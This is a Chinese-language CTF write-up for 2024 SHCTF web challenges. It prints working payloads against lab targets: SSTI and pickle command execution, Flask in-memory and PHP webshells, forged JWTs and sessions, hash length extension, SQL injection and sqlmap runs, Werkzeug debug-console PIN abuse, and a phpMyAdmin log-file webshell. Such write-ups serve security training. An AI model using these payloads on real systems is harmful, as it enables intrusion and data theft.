2024-SHCTF WP
2024-SHCTF Web WP
[Week1] 1zflask
按照提示访问 robots.txt,访问 /s3recttt 得到一个 python 文件
在 api 路由传参,直接执行命令得到 flag
1 |
|
[Week1] MD5 Master
1 |
|
md5强碰撞,但是限制了前面一部分的字符串,不能使用现成的payload了,这里使用fastcoll生成
1 | fastcoll_v1.0.0.5.exe -p test.txt -o 1.txt 2.txt |
将生成的两个文本文件url编码一下,利用 burp 传参即可
[Week1] ez_gittt
git 泄露,和 basectf 那道几乎一模一样
先使用 githacker 将 .git 目录拉下来,再查看历史命令看到添加 flag 的操作
git checkout 命令恢复到当时的操作,恢复后即可看到 flag
[Week1] jvav
让 AI 写个脚本即可得到 flag
1 | import java.io.BufferedReader; |
[Week1] poppopop
首先反序列的入口都在 __destruct() 魔术方法里
然后链子是 __destruct() -> __toString() -> flag() -> __invoke()
赋值($this->isyou)($this->flag);得到 flag
1 | <?php |
[Week1] 单身十八年的手速
翻 js 代码看到当点击次数大于 520 次时弹出一串 base64 ,解码得到 flag
[Week1] 蛐蛐?蛐蛐!
查看源码得到提示,访问得到源码
访问得到页面源码
1 |
|
第一层弱比较,使用 114514a 绕过第二层需要传入的字符的前六位是 ququk1 才会执行命令,使用分号绕过进行命令执行,得到 flag
[Week2] guess_the_number
F12 得到源码
发现是伪随机数,给出了生成的第一个数,爆破随机数种子,得到第二个数
1 | @app.route('/first') |
脚本如下:
1 | import random |
提交即可得到 flag
[Week2] 自助查询
查询语句已经给出了,按照要求闭合进行注入
注入语句如下:
1 | 1") order by 2 |
此时你会发现什么都查不到,根据提示查看注释内容,得到 flag
1 | 1") UNION SELECT 1,group_concat(COLUMN_NAME, COLUMN_COMMENT) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'ctf' AND TABLE_NAME = 'flag' |
[Week2] 登录验证
尝试弱口令 admin 回显你不是真正的 admin
查看 jwt 爆破出密钥 222333 伪造 role 为 admin,重新加密
加密后的 jwt 放入 token,刷新即可得到 flag
[Week2] 入侵者禁入
源码如下:
1 | from flask import Flask, session, request, render_template_string |
发现要检验 admin 的值为 1 并且在 flag 处存在模板注入漏洞,先伪造 admin 的值为 1, 测试注入漏洞
发现 2*2 被成功解析,于是写入命令执行代码,, 注意伪造时 flag 里的单引号需要转义,否则会匹配错误,伪造 payload 如下:
1 | python flask_session_cookie_manager3.py encode -s 0day_joker -t "{'role': {'flag': '{{config.__class__.__init__.__globals__[\'os\'].popen(\'cat /flag\').read()}}', 'is_admin': 1}}" |
伪造后传入 cookie 得到 flag
[Week2] dickle(复现)
拿到源码,发现过滤了大量的模块
1 | from flask import Flask, request |
找到一些没有过滤的命令执行函数使用
1 | import subprocess |
发现getoutput没有被过滤,使用它进行命令执行,得到flag
1 | import pickle |
[Week2] MD5 GOD!
源码如下:
1 | from flask import * |
首先登陆给出的账号密码,查看 session,观察 seesion 格式
访问 users 路由查看到需要登陆的人
这是登陆的核心逻辑,salt 是随机生成的 16 个字符,密码是 salt +16 位 A-Za-z0-9,因为已经有了一个学生账号密码的 md5,想到哈希长度拓展攻击
1 | session["username"] = username.encode() |
伪造密码和签名,将伪造的数据再用 session 存储提交
提交签到成功,再次查看 /users 路由发现已经签到成功了
接下来就是改造脚本了,根据原有的 hash 拓展脚本写一个批量处理的脚本,关键代码如下,跑一下即可得到 flag
1 | import requests |
[Week3] 小小cms
开源 cms,网上找到 RCE 漏洞,搜到现成的 poc,直接打,得到 flag
1 | https://github.com/wy876/POC/blob/main/YzmCMS/YzmCMS%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8pay_callback%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.md |
[Week3] love_flask
源码如下:
1 |
|
侥幸拿了一血,审计代码,发现是模板渲染,但是没有回显,想到写内存马,如下:
1 | url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) |
注意需要进行模板渲染,成功写入
在写入的 shell 路由下通过参数 cmd 执行命令,得到 flag
[Week3] 拜师之旅·番外
文件上传,经测试是二次渲染绕过
网上找脚本生成二次渲染绕过的 png 图片
1 | <?php |
此脚本写入的马如下:
1 | <?=$_GET[0]($_POST[1]);?> |
依次传入 0 和 1 参数即可进行命令执行,burp 抓包可得到文件里面的回显内容
[Week3] hacked_website(复现)
什么都没有,扫目录得到 www.zip,下载下来是网站源码
放入 D 盾发现第十四行存在后门,连接密码为 SH
访问后门文件提示登陆,但是我在源码里翻找和爆破均无果,看官方 wp 写的是爆破,密码是 qwer1234
虽然长度都一样,但是只有这个经历了两次 302 跳转,并且响应最小,(想不到
连接木马,命令执行,得到 flag
[Week3] 顰(复现)
这题只算出来了 pin,其他的不会了,按照官方的 wp 复现一下
先正常计算 pin 值,为 262-850-657,脚本如下:
1 | address_hex = "8e:c2:fc:b6:90:a1" |
根据 debug 的描述,需要添加受信任的主机才能正常访问 /console 路由,开启 debug 模块,否则直接访问路由就报错
1 | https://werkzeug.palletsprojects.com/en/stable/debug/ |
修改 host 为 127.0.0.1 允许本地访问
此时出现了填写 pin 框的界面,但是还是不能直接输入,会提示无效
需要本地起一个 demo 看看参数,按照流程访问修改后发现会提示有几个参数
1 | from flask import Flask |
回到本题,s 参数就是源码给的 SECRET,pin 就是计算出来的 pin,其余参数不用变
访问可以看到 auth 为 true,也就是身份认证成功
1 | /console?__debugger__=yes&cmd=pinauth&pin=262-850-657&s=2Fp0F08Whs4ZUx5iVfRg |
接下来获取 cookie,然后将 cookie 填入请求头,发起请求进行命令执行,得到 flag
1 | ?__debugger__=yes&cmd=open('/flag').read()&frm=0&pin=262-850-657&s=2Fp0F08Whs4ZUx5iVfRg |
week4 打不动了,太难了,估计也不会复现了,就到这里吧
[Week4] 0进制计算器
源码如下:
1 | from flask import Flask, render_template, request, jsonify |
看正则部分,这是运行通过的字符,发现允许的字符恰好可以组成chr 和 ord,可以利用chr 和 ord 来计算
1 | allow_chr = '0cdhor+-*/=()"\'; ' |
eval可以执行的一是”=”号右侧的部分,二是cdhor()内的部分
“=”号右侧的部分执行逻辑如下:
按照等号分隔后执行右侧部分
1 | if '=' in command: |
cdhor()部分执行逻辑如下:
匹配 cdhor() 里的字符并执行
1 | elif command.startswith('cdhor(') and command.endswith(')'): |
chr(ord())形式的代码可以在等号右侧被转换为需要执行的代码后,再经过cdhor()执行并输出结果
脚本如下:
1 | def generate_char(char): |
结果太长了就不贴了,将生成的 payload 赋值给变量 c,然后将 c 传入 cdhor() 里再次执行,得到 flag
[Week4] 可恶的骗子
靶机直接打开重定向到百度了,扫一下目录
靶机地址拼接图片上的链接,然后伪造一个手机端的 UA 头,打开可以看到一个 sql 注入报错页面
1 | Mozilla/5.0 (Linux; Android 12; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 Mobile Safari/537.36 |
使用 sqlmap 进行 sql 注入,先爆出所有数据库
1 | python sqlmap.py -u 210.44.150.15:24854//Xianyu_goods/index.php?ClickID=161 --user-agent='Mozilla/5.0 (Linux; Android 12; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 Mobile Safari/537.36' -D root -T admin_user --dump |
然后依次爆,最后查到 admin 账户的密码
1 | python sqlmap.py -u http://210.44.150.15:36930/Xianyu_goods/index.php?ClickID=161 --user-agent='Mozilla/5.0 (Linux; Android 12; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 Mobile Safari/537.36' -D root -T admin_user --dump |
上面用 dirsearch 扫到了一个 phpmyadmin 目录,访问利用拿到的账号密码登陆
1 | root |
登陆成功后在 sql 页面执行命令,参考文章:
1 | https://cloud.tencent.com/developer/article/1540506 |
首先打开日志读写功能
接着设置日志路径,扫描后发现Xianyu_goods下有go.php
1 | SET GLOBAL general_log_file='/var/www/html/Xianyu_goods/go.php' |
然后执行命令,将文件写入日志
1 | select '<?php system("cat /flag"); ?>'; |
写入成功,访问 go.php,可以看到执行的命令